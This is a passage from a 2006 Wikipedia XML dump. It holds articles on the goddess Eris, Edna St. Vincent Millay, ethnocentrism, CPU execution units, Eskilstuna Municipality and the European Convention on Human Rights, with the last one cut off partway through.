She therefore (in a fragment from the ''[[Kypria]]'' as part of a plan hatched by Zeus and [[Themis]]) tossed into the party the Apple of Discord, a golden apple inscribed ''[[Kallisti]]''&amp;nbsp;&amp;ndash; &quot;For the most beautiful one&quot;, or &quot;To the Prettiest One&quot;&amp;nbsp;&amp;ndash; provoking the goddesses to begin quarreling about the appropriate recipient. The hapless [[Paris (mythology)|Paris]], Prince of [[Troy]], was appointed to [[Judgement of Paris|select the most beautiful]]. Greek mythological morality being what it was, each of the three goddesses immediately attempted to bribe Paris to choose her. [[Hera]] offered political power; [[Athena]] promised skill in battle; and [[Aphrodite]] tempted him with the most beautiful woman in the world: [[Helen]], wife of [[Menelaus]] of [[Sparta]].   [[Paris (mythology)| Paris]] was a red-blooded young man, and while the length of time he meditated on this problem is not recorded, he did eventually award the apple to Aphrodite.

In [[Nonnus]]' ''Dionysiaca'', 2.356, when [[Typhon]] prepares to battle with Zeus:

:Eris ('Strife') was Typhon's escort in the melée, [[Nike (mythology)|Nike]] ('Victory') led Zeus to battle.

==Discordian Mythology==
Eris has been adopted as the matron deity of the modern [[Discordianism|Discordian]] religion.  In the process, however, she has lightened up considerably in comparison to the rather malevolent Graeco-Roman original. A quote from the ''[[Principia Discordia]]'', the holy book of the Discordian religion, attempts to clear this up:
:One day Mal-2 consulted his [[Pineal gland|Pineal Gland]] and asked Eris if She really created all of those terrible things. She told him that She had always liked the Old Greeks, but that they cannot be trusted with historic matters. &quot;They were,&quot; She added, &quot;victims of indigestion, you know.&quot;[http://www.ology.org/principia/]

The story of Eris being snubbed and indirectly starting the Trojan War is recorded in the ''Principia'', and is referred to as the [[Discordianism#The Original Snub|Original Snub]].

==Eris in popular culture==
Eris appears on the Cartoon Network show &quot;''[[The Grim Adventures of Billy and Mandy]]''&quot; as a rival of Mandy, Grim, and Billy, voiced by [[Rachael MacFarlane]]. In one such episode, she causes chaos to grip Grim, Billy, and Mandy by giving them &quot;The Golden Apple of Chaos and Discord,&quot; a more elaborate title for the mythological [[Apple of Discord]].  See [[Eris (Billy and Mandy)]] for more information on the TV version.  She is drawn to somewhat resemble pop star [[Madonna (entertainer)|Madonna]].

She also appears as the [[antagonist]] in the film ''[[Sinbad: Legend of the Seven Seas]]''.

The classic [[fairy tale]] ''[[Sleeping Beauty]]'' is partly inspired by Eris's role in the wedding of Peleus and Thetis. Like Eris, a malevolent [[fairy]] curses a princess after failing to be invited to the princess's [[christening]].

==Discordia in popular culture==
Discordia is frequently referenced in the latter volumes of Stephen King's ''[[The Dark Tower]]'' series, appearing in the story primarily as an abstract ideal rather than being personified as an actual character.

She also appeared on the television series &quot;''[[Hercules: the Legendary Journeys]]''&quot;, under the name Discord. Strife also appears in the show as a totally separate, albeit male entity, often in the company of [[Ares]], though technically strife and discord are one and the same.

[[Category:Greek goddesses]]
[[Category:Trickster goddesses]]
[[Category:Discordianism]]
[[Category:War goddesses]]

[[ast:Eris]]
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[[zh:厄里斯]]</text>
    </revision>
  </page>
  <page>
    <title>Edna St. Vincent Millay</title>
    <id>9824</id>
    <revision>
      <id>41241010</id>
      <timestamp>2006-02-26T00:29:21Z</timestamp>
      <contributor>
        <ip>81.170.235.234</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Ednastvincentmillay.jpeg|thumb|Edna St. Vincent Millay, photographed by [[Carl Van Vechten]], [[1933]]]]'''Edna St. Vincent Millay''' (used the [[pseudonym]] '''Nancy Boyd''') ([[February 22]], [[1892]] &amp;ndash; [[October 19]], [[1950]]) was a lyrical poet and playwright and the first woman to receive the [[Pulitzer Prize for Poetry]]. She was also known for her unconventional and [[Bohemianism|Bohemian]] lifestyle and her many love affairs with both men and women.

She was born in [[Rockland, Maine]], [[United States|USA]], to Cora Lounella (Buzzelle), a nurse, and Henry Tollman Millay, a schoolteacher. Cora divorced Millay's father for financial irresponsibility in [[1900]], when Millay was about eight. Cora and her three daughters, Edna (who was called &quot;Vincent&quot; by her close friends and family), Norma, and Kathleen then moved to [[Camden, Maine]]. Millay rose to fame with her poem &quot;Renascence&quot; ([[1912]]), and on the strength of it was awarded a scholarship to [[Vassar College]]. After her graduation in [[1917]], she moved to [[New York City]].

In New York, she lived in [[Greenwich Village]].  It was at this time that she first attained great popularity in America. She won the Pulitzer Prize for Poetry in [[1923]], for ''The Harp-Weaver, and Other Poems''.

In 1923, she also married [[Eugene Jan Boissevain]], then the 43-year-old widower of [[Inez Milholland]].  Boissevain greatly supported her career and took primary care of domestic responsibilities. They lived in [[Austerlitz, New York]], at a farmhouse they called Steepletop. The marriage was an [[open marriage|open]] one; among her lovers was the poet [[George Dillon]], fourteen years her junior, for whom a number of her [[sonnet]]s were written. 

Her reputation was damaged by poetry she wrote in support of the [[Allies of WWII|Allied]] war effort during [[World War II]]. Merle Rubin noted: &quot;She seems to have caught more flak from the [[Literary criticism|literary critics]] for supporting [[Democracy|democracy]] than [[Ezra Pound]] did for championing [[Fascism|fascism]].&quot;  

Boissevain died in [[1949]] from [[lung cancer]]. Edna St. Vincent Millay died about a year later of a [[Myocardial infarction|heart attack]].  She was found dead on the stairs of her house, a poem clutched in her hand.

Her best known poem might be &quot;First Fig&quot; ([[1920]]): 

:My candle burns at both ends;
::It will not last the night;
:But ah, my foes, and oh, my friends--
::It gives a lovely light!

Mathematicians recognize her poem &quot;[[Euclid]] Alone Has Looked on Beauty Bare&quot; ([[1923]]) as an expression of mathematical [[beauty]], or an homage to the [[Geometry|geometer]] Euclid.

However, many consider &quot;Renascence&quot; and &quot;The Ballad Of The Harp-Weaver&quot; to be her finest poems.

[[Thomas Hardy]] once said that America had two great attractions: the [[skyscraper]] and the poetry of Edna St. Vincent Millay.

==External links==
*{{gutenberg author|id=Edna_St._Vincent_Millay|name=Edna St. Vincent Millay}}
*[http://www.bartleby.com/131/1.html &quot;Renascence&quot; at Bartleby] 
*[http://digital.library.upenn.edu/women/millay/ballad/ballad.html &quot;The Ballad Of The Harp-Weaver&quot; at A Celebration of Women Writers]

[[Category:1892 births|Millay, Edna St. Vincent]]
[[Category:1950 deaths|Millay, Edna St. Vincent]]
[[Category:Pulitzer Prize winners|Millay]]
[[Category:Bisexual writers|Millay, Edna St. Vincent]]
[[Category:American writers|Millay, Edna St. Vincent]]
[[Category:American poets|Millay, Edna St. Vincent]]
[[Category:Women poets|Millay, Edna St. Vincent]]
[[sv:Edna St. Vincent Millay]]</text>
    </revision>
  </page>
  <page>
    <title>Enlightenment</title>
    <id>9825</id>
    <revision>
      <id>40747233</id>
      <timestamp>2006-02-22T19:29:08Z</timestamp>
      <contributor>
        <username>TheNeon</username>
        <id>785184</id>
      </contributor>
      <text xml:space="preserve">'''Enlightenment''' may refer to:

*'''[[Enlightenment (concept)]]''', a concept in [[mysticism]], [[philosophy]] and [[psychology]]
**For the [[Hindu]] religious concept of enlightenment, see [[moksha]]
**For the [[Buddhism|Buddhist]] religious concept, see [[Bodhi]], [[Satori]], [[Nirvana]], [[Great Perfection]]
**For the [[Yoga]] concept of enlightenment, see [[Yogic Enlightenment]]
* The '''[[Age of Enlightenment]]''', a period in [[Europe]]an history
**For the corresponding movement in the European Jewish community, see ''[[Haskalah]]''.
**For the corresponding movement in Scotland, see ''[[Scottish Enlightenment]]''

*[[Enlightenment (X window manager)]], an [[X Window System]] [[window manager]]
*[[Enlightenment (Doctor Who)]], a ''[[Doctor Who]]'' serial
*[[Enlightenment (album)]], an album by [[Van Morrison]]

==See also==

* [[Illumination]]
* [[Self Realization]]
* [[Oneness]]
* [[Nonduality]].

{{disambig}}


[[ru:Просветление]]
[[de:Aufklärung]]
[[nl:Verlichting]]
[[pl:Oświecenie]]</text>
    </revision>
  </page>
  <page>
    <title>Eleftherios Venizelos airport</title>
    <id>9826</id>
    <revision>
      <id>37040691</id>
      <timestamp>2006-01-28T04:07:48Z</timestamp>
      <contributor>
        <username>Zyxw</username>
        <id>473593</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Athens International Airport, &quot;Eleftherios Venizelos&quot;]]</text>
    </revision>
  </page>
  <page>
    <title>Ethnocentrism</title>
    <id>9827</id>
    <revision>
      <id>41749218</id>
      <timestamp>2006-03-01T13:43:22Z</timestamp>
      <contributor>
        <ip>195.26.13.20</ip>
      </contributor>
      <comment>/* Usage */</comment>
      <text xml:space="preserve">'''Ethnocentricity''' is the tendency to look at the world primarily from the perspective of one's own ethnic culture. Many claim that ethnocentrism occurs in every society; ironically, ethnocentrism may be something that all cultures have in common. People often feel this occurring during what some call [[culture shock]].

Various researchers study ethnocentricism as it pertains to their specialized fields. This article covers anthropology, political science and especially sociology.

This term was coined by [[William Graham Sumner]], a [[social evolution|social evolutionist]] and professor of Political and Social Science at [[Yale University]].  He defined it as the viewpoint that “one’s own group is the center of everything,” against which all other groups are judged.  Ethnocentrism often entails the belief that one's own race or ethnic group is the most important and/or that some or all aspects of its culture are superior to those of other groups. Within this ideology,  individuals will judge other groups in relation to their own particular ethnic group or culture, especially with concern to [[language]], behaviour, customs, and [[religion]]. These ethnic distinctions and sub-divisions serve to define each [[ethnicity]]'s unique [[cultural identity]].

[[Anthropology|Anthropologists]] such as [[Franz Boas]] and [[Bronislaw Malinowski]] argued that any human science had to transcend the ethnocentrism of the scientist.  Both urged anthropologists to conduct [[ethnography|ethnographic]] [[field work|fieldwork]] in order to overcome their ethnocentrism.  Boas developed the principle of [[cultural relativism]] and Malinowski developed the theory of [[functionalism]] as tools for developing non-ethnocentric studies of different societies.  The books ''[[The Sexual Life of Savages]]'', by Malinowski, ''[[Patterns of Culture]]'' by [[Ruth Benedict]] and ''[[Coming of Age in Samoa]]'' by [[Margaret Mead]] (two of Boas's students) are classic examples of anti-ethnocentric anthropology.

==Usage==

In political science and public relations, not only have academics used the concept to explain [[nationalism]], but activists and politicians have used labels like ''ethnocentric'' and ''ethnocentrism'' to criticize national and ethnic groups as being unbearably selfish—or at best, culturally biased (see [[cultural bias]]). At the same time, members of some such groups have (in a mirror fashion) exalted their own group as being uniquely, and even supremely, wonderful and valuable.

Nearly every religion, &quot;race,&quot; or nation feels it has aspects which are uniquely valuable.  (This tendency is humorously illustrated in the romantic comedy ''[[My Big Fat Greek Wedding]]'', in which the heroine's father perpetually exalts Greek culture: ''&quot;Give me any word, and I'll show you how it derives from Greek roots.&quot;'' ''&quot;Oh, yeah, how about [[kimono]]?&quot;'') 

Other examples abound: Toynbee notes that Ancient Persia regarded itself the center of the world and viewed other nations as increasingly barbaric according to their degree of distance.  China's very name is composed of ideographs meaning &quot;center&quot; and &quot;country&quot; respectively, and traditional Chinese world maps show China in the center. England defined the world's meridians with itself on the center line, and to this day, longitude is measured in degrees east or west of Greenwich, thus establishing as fact an Anglo-centrist's worldview. [[Native Americans in the United States|Native American]] tribal names often translate as some variant on &quot;the people&quot;; other tribes were labeled with often pejorative names. The [[United States]] has traditionally conceived of itself as having a unique role in world history&amp;mdash;famously characterized by President [[Abraham Lincoln]] as &quot;the last, best hope of Earth&quot;&amp;mdash;an outlook known as [[American exceptionalism]].

The Japanese word for foreigner (&quot;gaijin&quot;) can also mean &quot;outsiders,&quot; and Japanese do not normally use the term to describe themselves when visiting other countries. It also excludes those native to the country where the speaker is. For a Japanese tourist in New York, ''gaijin'' are not Japanese tourists or New Yorkers, but those of other nationalities visiting New York.

In the United States foreigners or immigrants that are not considered residents are called &quot;aliens&quot; and in the case they do not hold a legal status within the country they are called &quot;illegal aliens&quot;. The connotation of the word does not only suggest pure ethnocentrism but is in some sense a distancing language used between an American citizen and an immigrant or visitor.

==Psychological Underpinnings of Ethnocentrism==
Tribal and familial groups are often seen to dominate in economic settings where transaction costs are high.  Examples include the crime syndicates of Russia, Sicily, and the United States, prison gangs, and the diamond trade (Salter 2002).  Throughout history, warring factions have been composed of fairly homogeneous ethnic groups.  Ethnic strife is seen to dominate the landscape in many parts of the world even to this day.  Evolutionary psychology posits that the reason for these groupings stems from the alignment of interests among members of these groups due to their genetic similarity.  Independent of evolutionary psychology, observers such as [[Shelby Steele]] have suggested that ethnocentrism is a mainstay of any modern society, and in cases such as the white and black population in the US, programs such as affirmative action serve only to relieve the moral consciences of the white population.  People like Steele harbour respect for vocal racists, as they, unlike the rest of the population, are able to reveal their honest feelings regarding race and ethnicity.

==References==
* Salter, F.K., ed. 2002. Risky Transactions. Trust, Kinship, and Ethnicity. Oxford and New York: Berghahn.

==Journals==
* [http://gpi.sagepub.com/ Group Processes and Intergroup Relations], Sage Press.

==List of Ethnocentrism==
* '''[[American exceptionalism]]'''
* '''[[Afrocentrism]]'''
* '''[[Anglocentrism]]'''
* '''[[Germanocentrism]]'''
* '''[[Indocentrism]]''', [[Hindutva]]
* '''[[Japanocentrism]]'''
* '''[[Eurocentrism]]'''
** '''Eurocentrism'''
** '''[[Americentrism]]'''
* '''[[Russocentrism]]''', [[Russian Chauvinism]], [[Eurasianism]]
* '''[[Chinese nationalism]]'''
* '''[[Sinocentrism]]'''
* '''[[White nationalism]]'''
* '''[[Nazism]]''', '''[[Neo-Nazism]]'''

==See also==
*[[media and ethnicity]]
*[[bigotry]]
*[[cultural bias]]
*[[cultural diversity]]
*[[cultural relativism]]
*[[Culture war speech]]
*[[egocentrism]]
*[[nationalism]]
**[[ethnic nationalism]]
*[[ethnic nepotism]]
*[[patriotism]]
*[[racism]]
*[[relativism]]
*[[religiocentrism]]
*[[supremacism]]

==References==
{{unreferenced}}


&lt;!-- Categorization --&gt;
[[Category:Ethnicity]]
[[Category:Ethnocentrism|*]]
[[Category:Prejudices]]

&lt;!-- Localization --&gt;

[[cs:Etnocentrismus]]
[[de:Ethnozentrismus]]
[[el:Εθνοκεντρισμός]]
[[es:Etnocentrismo]]
[[fr:Ethnocentrisme]]
[[he:אתנוצנטריות]]
[[it:Etnocentrismo]]
[[ja:エスノセントリズム]]
[[pl:Etnocentryzm]]
[[pt:Etnocentrismo]]
[[sv:Etnocentrism]]
[[uk:Етноцентризм]]</text>
    </revision>
  </page>
  <page>
    <title>Execution unit</title>
    <id>9828</id>
    <revision>
      <id>37155549</id>
      <timestamp>2006-01-29T02:11:21Z</timestamp>
      <contributor>
        <username>Johnbojaen</username>
        <id>302701</id>
      </contributor>
      <minor />
      <comment>Interwiki: es</comment>
      <text xml:space="preserve">In [[computer engineering]], an '''execution unit''' is a part of a [[central processing unit|CPU]] that performs the operations and calculations called for by the [[computer program|program]]. It may have its own internal control sequence unit (not to be confused with the CPUs main [[control unit]]), some [[processor register|register]]s, and other internal units such as a sub-[[arithmetic logic unit|ALU]] or [[floating point unit|FPU]], or some smaller, more specific components.

It is commonplace for modern CPUs to have multiple parallel execution units, referred to as scalar or [[superscalar]] design. The simplest arrangement is to use one, the bus manager, to manage the memory interface, and the others to perform calculations. Additionally, modern CPUs execution units are usually [[instruction pipelining|pipelined]].

[[Category:Computer architecture]]

[[es:Unidad funcional]]
[[ja:実行ユニット]]</text>
    </revision>
  </page>
  <page>
    <title>Eskilstuna Municipality</title>
    <id>9829</id>
    <revision>
      <id>22985628</id>
      <timestamp>2005-09-10T18:03:00Z</timestamp>
      <contributor>
        <username>Curpsbot-unicodify</username>
        <id>397664</id>
      </contributor>
      <minor />
      <comment>1 &amp;#&lt;name&gt; MISSING &quot;;&quot; fixed semi-manually • 1 link(s): _ → space</comment>
      <text xml:space="preserve">{{Infobox_Kommun2|
name=Eskilstuna|
fullname=Eskilstuna Municipality|
isocode=&amp;nbsp;|
capital=Eskilstuna|
governor=|
county=[[Södermanland County]]|
province=[[Södermanland]]|
arearank=93rd|
area=1,103.8|
areapercent=x.x|
population_as_of=2005|
populationrank=16th|
population=91,168|
populationpercent=x.x|
populationdensity=82|
coatofarms=[[Image:Eskilstuna.png|70px]]|
map=[[Image:svcmap sodermanland.png|120px]]&lt;br&gt;Eskilstuna Municipality in Södermanland County&lt;br&gt; [[Image:Södermanland County.png|160px]]
}}
'''Eskilstuna Municipality''' [&amp;#x02d8;&amp;#x025b;skilst&amp;#x0289;&amp;#x02d0;na] is a [[Municipalities of Sweden|Municipality]] in central [[Sweden]] between the [[lake]]s [[Mälaren]] and [[Hjälmaren]], where [[Eskilstuna]] is seat. 

== Towns ==
* [[Eskilstuna]] 58,000
* [[Torshälla]] 7,000 

== External links ==
* [http://www.eskilstuna.se Eskilstuna] - Official site

{{Södermanland County}}

[[Category:Municipalities of Sweden]]
[[Category:Municipalities of Södermanland County]]

[[fo:Eskilstuna kommuna]]
[[pl:Gmina Eskilstuna]]
[[sv:Eskilstuna kommun]]</text>
    </revision>
  </page>
  <page>
    <title>European Convention on Human Rights</title>
    <id>9830</id>
    <revision>
      <id>42047651</id>
      <timestamp>2006-03-03T12:57:01Z</timestamp>
      <contributor>
        <username>Lmno</username>
        <id>43038</id>
      </contributor>
      <minor />
      <comment>/* Prohibition on retrospective criminal offences */ Hmmmmmm revert '''Bold text''' vandalism</comment>
      <text xml:space="preserve">The '''Convention for the Protection of Human Rights and Fundamental Freedoms''', also known as the '''European Convention on Human Rights''', was adopted under the auspices of the [[Council of Europe]]{{an|council}} in [[1950]] to protect [[human rights]] and fundamental [[freedom]]s. All Council of Europe member states are party to the Convention and new members are expected to ratify the convention at the earliest opportunity.

The Convention establishes the [[European Court of Human Rights]]. Any person who feels their rights have been violated under the Convention by a state party can take a case to the Court; the decisions of the Court are legally binding, and the Court has the power to award damages. State Parties can also take cases against other State Parties to the Court, although this power is rarely used.

The Convention has several protocols.  For example, Protocol 6 prohibits the death penalty except in time of war. The protocols accepted varied from State Party to State Party, though it is understood that State Parties should be party to as many protocols as possible.

Prior to the entry into force of Protocol 11, individuals did not have direct access to the Court; they had to apply to the [[European Commission of Human Rights]], which if it found the case to be well-founded would launch a case in the Court on the individual's behalf. Protocol 11 abolished the Commission, enlarged the Court, and allowed individuals to take cases directly to it.

==Protocols==
As of late 2002, thirteen protocols to the Convention have been opened for signature. These can be divided into two main groups: those changing the machinery of the convention, and those adding additional rights to those protected by the convention.

===Protocols amending the Convention===
The Convention has been amended several times by means of protocols attached thereto. These amendments have affected only the Convention machinery, not the substantive content of the rights it protects. Unlike the substantive protocols, these protocols have achieved universal ratification among parties to the original Convention. The protocols themselves required universal ratification to enter into force, in order to maintain the institutional unity of the Convention machinery.

These protocols were:
*Protocol 3 (ETS 45, adopted [[1963-05-06]])
*Protocol 5 (ETS 55, adopted [[1966-01-20]]) 
*Protocol 8 (ETS 118, adopted [[1985-03-19]])
*Protocol 9 (ETS 140, adopted [[1990-11-06]])
*Protocol 10 (ETS 146, adopted [[1992-03-25]])
*Protocol 11 (ETS 155, adopted [[1994-05-11]])
*Protocol 14 (CETS 194, adopted [[2004-05-13]])

Protocol 2 (ETS 44, adopted [[1963-05-06]]), although it does not amend the text of the Convention as such, stipulates that it is to be treated as an integral part of the Convention, and has been consolidated into the Convention by Protocol 11.

Protocol 11 established a fundamental change in the machinery of the Convention. As noted above, the Commission was abolished, and individuals were permitted to apply directly to the court. This also necessitated changing the structure of the Court, to support its new, expanded role. Protocol 11 also abolished all the judicial functions of the Committee of Ministers. Protocol 11 also made necessary consequential amendments to those protocols extending its substantive protections.

Protocol 14 follows on from Protocol 11 in further improving the efficiency of operation of the Court. It seeks to 'filter' out cases that have less chance of succeeding along with those that are broadly similar to cases brought previously against the same member state. Furthermore a case will not be considered admissible where:
:''... the applicant has not suffered a significant disadvantage, unless respect for human rights as defined in the Convention and the Protocols thereto requires an examination of the application on the merits and provided that no case may be rejected on this ground which has not been duly considered by a domestic tribunal.'' (Article 12 of the Protocol)

A new mechanism is introduced with Protocol 14 to assist enforcement of judgements by the Committee of Ministers. The Committee can ask the Court for an interpretation of a judgement and can even bring a member state before the Court for non-compliance of a previous judgement against that state.

Protocol 14 will come into force only when it has been ratified by all signatories of the Convention.

The other protocols (Protocols 1, 4, 6, 7, 12 and 13) add substantive rights to those protected by the Convention, and will be discussed below, after the discussion of those contained in the Convention itself.

==Substantive contents==
The Convention has five main sections.  The main right and freedoms are contained in Section I, which consists of Articles 2 to 18.  Originally, Section II (Article 19) set up the Commission and the Court, Sections III (Articles 20 to 37) and IV (Aricles 38 to 59) included the high-level machinery for the operation of, respectively, the Commission and the Court, and Section V contained various concluding provisions.

Many of the Articles in Section I are structured in two paragraphs:  the first sets out a basic right or freedom (such as Article 2(1) - the right to life) but the second contains various exclusions, exceptions or limitations on the basic right (such as Article 2(2) - which excepts certain uses of force leading to death).

===Article 1 - Obligation to respect human rights===
Article 1 simply binds the signatory parties to secure the rights under the other Articles of the Convention &quot;within their jurisdiction&quot;. In exceptional cases, &quot;jurisdiction&quot; may not be confined to a Contracting State's own national territory; the obligation to secure Convention rights then also extends to foreign territory, such as occupied land in which the State exercises effective control.

===Article 2 - right to life===
Article 2 protects the right of every person to their life. The article contains exceptions for the cases of [[death penalty|lawful execution]]s, and deaths as a result of &quot;the use of force which is no more than absolutely necessary&quot; in defending one's self or others, arresting a suspect or fugitive, and suppressing riots or insurrections. 

The exemption for the case of lawful executions is further restricted by Protocols 6 and 13 (see below), for those parties who are also parties to those protocols.

===Article 3 - prohibition of torture===
Article 3 prohibits [[torture]], and &quot;inhuman or degrading treatment or punishment&quot;.  There are no exceptions or limitations on this right.

This provision usually applies, apart from torture, to cases of severe police violence and poor conditions in detention. The European Court of Human Rights has further held that this provision prohibits the [[extradition]] of a person to a foreign state if they are likely to be subjected there to torture. This article has been interpreted as prohibiting a state from extraditing an individual to another state if they are likely to suffer the [[death penalty]]. This article does not, however, on its own forbid a state from imposing the death penalty within its own territory.

===Article 4 - prohibition of slavery===
Article 4 prohibits [[slavery]] and [[forced labour]], but excepted from this prohibitions are [[conscription]], national service, prison labour, service exacted in cases of emergency or calamity, and &quot;normal civic obligations&quot;.

===Article 5 - right to liberty and security===
Article 5 provides that everyone has the right to liberty and security of person. Liberty and security of the person are taken as a &quot;compound&quot; concept - security of the person has not been subject to separate intepretation by the Court.

Article 5 provides the right to [[liberty]], subject only to lawful arrest or detention under certain other circumstances, such as arrest on suspicion of a crime or imprisonment in fulfilment of a sentence. The article also provides the right to be informed in a language one understands of the reasons for the arrest and any charge against them, the right of prompt access to judicial proceedings to determine the legality of one's arrest or detention and to trial within a reasonable time or release pending trial, and the right to compensation in the case of arrest or detention in violation of this article.

===Article 6 - right to a fair trial===
Article 6 provides a detailed [[right to a fair trial]], including the right to a public hearing before an independent and impartial tribunal within reasonable time, the [[presumption of innocence]], and other minimum rights (adequate time and facilities to prepare a defence, access to legal representation, the ability to examine witnesess, free assistance of an interpreter).

The majority of Convention violations that the Court finds today are excessive delays, in violation of the &quot;reasonable time&quot; requirement, in civil and criminal proceedings before national courts, mostly in Italy and France. Under the &quot;independent tribunal&quot; requirement, the Court has ruled that military judges in Turkish state security courts are incompatible with Article 6.

===Article 7 - No punishment without law===
On the face of it, Article 7 provides for a prohibition on retrospective criminality. However, its short title is taken as being a substantive part of the Article. 

====No punishment without law====
Article 7 is taken to incorporate the principle of ''[[nulla poena sine lege]]'', that is, that there can be no punishment for behaviour that is not defined as a criminal offence. This requires that the law be certain and ascertainable.

====Prohibition on retrospective criminal offences====
Article 7 prohibits the retrospective criminalisation of acts. No person may be punished for an act that was not a criminal offence at the time of its admission. The article states that a criminal offence is one under either national or international law, which would permit a party to prosecute someone for a crime which was not illegal under their domestic law at the time, so long as it was prohibited by (possibly [[customary international law|customary]]) [[international law]].  Article 7 also prohibits a heavier penalty being imposed than was applicable at the time when the criminal act was committed.
===Article 8 - right to respect for private life===
Article 8 provides a right to respect for one's &quot;private and family life, his home and his correspondence&quot;, subject to certain restrictions that are &quot;in accordance with law&quot; and &quot;necessary in a democratic society&quot;. This article clearly provides a right to be free of unlawful searches, but the Court has given the protection for &quot;private and family life&quot; this article provides a broad interpretation, taking for instance that prohibition of private consensual homosexual acts violates this article. This may be compared to the jurisprudence of the United States Supreme Court, which has also adopted a somewhat broad interpretation of the right to privacy. Furthermore, Article 8 sometimes comprises [[positive obligations]]: whereas classical human rights are formulated as prohibiting a State from interfering with rights, and thus ''not'' to do something (e.g. not to separate a family under family life protection), the effective enjoyment of such rights may also include an obligation for the State to become active, and to ''do'' something (e.g. to enforce access for a divorced father to his child).

===Article 9 - right to freedom of thought, conscience and religion===
Article 9 provides a right to [[freedom of thought]], conscience and [[freedom of religion|religion]]. This includes the freedom to change a religion or belief, and to manifest a religion or belief in worship, teaching, practice and observance, subject to certain restrictions that are &quot;in accordance with law&quot; and &quot;necessary in a democratic society&quot;. 

===Article 10 - right to freedom of expression===
Article 10 provides the right to [[freedom of expression]], subject to certain restrictions that are &quot;in accordance with law&quot; and &quot;necessary in a democratic society&quot;. This right includes the freedom to hold opinions, and to receive and impart information and ideas.

===Article 11 - right to freedom of assembly and association===
Article 11 protects the right to [[freedom of assembly]] and association, including the right to form [[trade union]]s, subject to certain restrictions that are &quot;in accordance with law&quot; and &quot;necessary in a democratic society&quot;.

===Article 12 - right to marry===
Article 12 provides a right for men and women of [[marriage]]able age to marry and establish a family. 

Despite a number of invitations, the Court has so far refused to apply the protections of this article to [[same-sex marriage]]. The Court has defended this on the grounds that the article was intended to apply only to traditional marriage, and that a wide margin of appreciation must be granted to parties in this area.

The court has held that to prohibit transsexuals from marrying persons who are of the gender opposite to the person's new gender is a breach of Article 12.

===Article 13 - right to an effective remedy===
Article 13 provides for the right for an effective remedy before national authorities for violations of rights under the Convention.  The inability to obtain a remedy before a national court for an infringement of a Convention right is thus a free-standing and separately actionable infringement of the Convention.

===Article 14 - prohibition of discrimination===
Article 14 contains a prohibition of [[discrimination]]. This prohibition is broad in some ways, and narrow in others. On the one hand, the article protects against discrimination based on any of a wide range of grounds. The article provides a list of such grounds, including sex, race, colour, language, religion and several other criteria, and most significantly providing that this list is non-exhaustive. On the other hand, the article's scope is limited only to discrimination with respect to rights under the Convention. Thus, an applicant must prove discrimination in the enjoyment of a specific right that is guaranteed elsewhere in the Convention (e.g. discrimination based on sex - Article 14 - in the enjoyment of the right to freedom of expression - Article 10). Protocol 12 extends this prohibition to cover discrimination in any legal right, even when that legal right is not protected under the Convention, so long as it is provided for in national law.

===Article 15 - derogations===
Article 15 allows contracting states to derogate from the rights guaranteed by the Convention in time of emergency.  This ability has been used, for example, by the UK to pass a law allowing certain prisoners to be held without trial (BBC [[4 August]], [[2004]]).

===Article 16 - exemption for political activities of aliens===
Article 16 exempts restrictions on the political activities of aliens from the Convention.

===Article 17 - prohibition of abuse of rights===
Article 17 provides that no one may use the rights guaranteed by the Convention to seek the abolition or limitation of rights guaranteed in the Convention. This addresses instances where States seek to restrict a human right in the name of another human right, or where individuals rely on a human right to undermine other human rights (see e.g. [[Holocaust denial]]).

===Article 18 - limitations on permitted restrictions of rights===
Article 18 provides that any limitations on the rights provided for in the Convention may be used only for the purpose for which they are provided. For example, Article 5, which guarantees the right to personal freedom, may be explicitly limited in order to bring a suspect before a judge. To use pre-trial detention as a means of intimidation of a person under a false pretext is therefore a limitation of right (to freedom) which does not serve an explicitly provided purpose (to be brought before a judge), and is therefore contrary to Article 18.

===Substantive protocols===
====Protocol 1 - property, education, elections====
Article 1 provides for the protection of private property. Article 2 provides for the right to an education, and the right for parents to have their children educated in accordance with their religious and other views. Article 3 provides for the right to regular, free and fair elections.

====Protocol 4 - civil imprisonment, movement, expulsion====
Article 1 prohibits the imprisonment of people due to &quot;inability to fulfil a contractual obligation&quot;. Article 2 allows people to move freely within their nation, as well as the right to leave one's own nation. Article 3 prohibits the expulsion of nationals. Article 4 prohibits collective expulsion of aliens.

====Protocol 6 - death penalty====
Requires parties to restrict the application of the [[death penalty]] to times of war or national emergency.

====Protocol 7 - expulsion, criminal appeals, compensation, double jeopardy, spousal equality====
Article 1 prohibits &quot;lawfully resident aliens&quot; from being expelled unless the decision was reached according to the law, and grants the right to have the reason of their expulsion presented to them and to have their cases reviewed. Article 2 grants the right to [[appeal]] in all criminal matters. Article 3 grants compensation for wrongful convictions. Article 4 prohibits [[double jeopardy]]. Article 5 affirms the equality between spouses.

====Protocol 12 - discrimination====
Prohibits discrimination on any ground, such as: &quot;sex, race, colour, language, religion, political or other opinion, national or social origin, association with a national minority, property, birth or other status&quot;, for any legally prescribed rights or obligations.

It is wider in its ambit than Article 14 - Article 14 prohibits discrimination only in the enjoyment of any Convention right, whereas Protocol 12 prohibits discrimination in the enjoyment of any provisions of national law.

The Protocol entered into force [[1 April]] [[2004]], presently ([[as of 2006]]) ratified by 11 member states. Several member states have not signed this Protocol, viz., [[Andorra]], [[Bulgaria]], [[Denmark]], [[Lithuania]], [[Malta]], [[Poland]], [[Sweden]], [[Switzerland]], and the [[United Kingdom]].

The Blair Government opposes Protocol 12, on the grounds that (they claim) it does not respect the distinction under UK law between
international law and domestic law; on [http://www.publications.parliament.uk/pa/ld199900/ldhansrd/vo001023/text/01023w04.htm [[23 October]] [[2000]]],  Lord Bassam of Brighton stated in the House of Lords that &quot;The Government's concern is that the European Court of Human Rights might hold that a right set out in an international agreement, but not incorporated into United Kingdom law is covered by Protocol 12.&quot; Lord Bassam cited as causes for concern international provisions such as the [[International Covenant on Economic, Social and Cultural Rights]], which the UK has signed but has not incorporated into domestic law -- they fear that the Protocol might be used by the ECHR to incorporate these provisions into UK domestic law by stealth. In summary, Lord Bassam stated ([http://www.publications.parliament.uk/pa/ld199900/ldhansrd/vo001109/text/01109w03.htm [[9 November]] [[2000]]]) that &quot;The Government did not sign Protocol 12 when it was opened for signature in Rome on [[4 November]] and have no present plans to do so, but they have not indefinitely ruled out signature and ratification. They will keep their position under consideration in the light of the interpretation of the Protocol by the European Court of Human Rights.&quot;

[http://conventions.coe.int/Treaty/Commun/QueVoulezVous.asp?NT=177&amp;CM=8&amp;DF=19/02/2006&amp;CL=ENG Council of Europe information page on the Protocol]
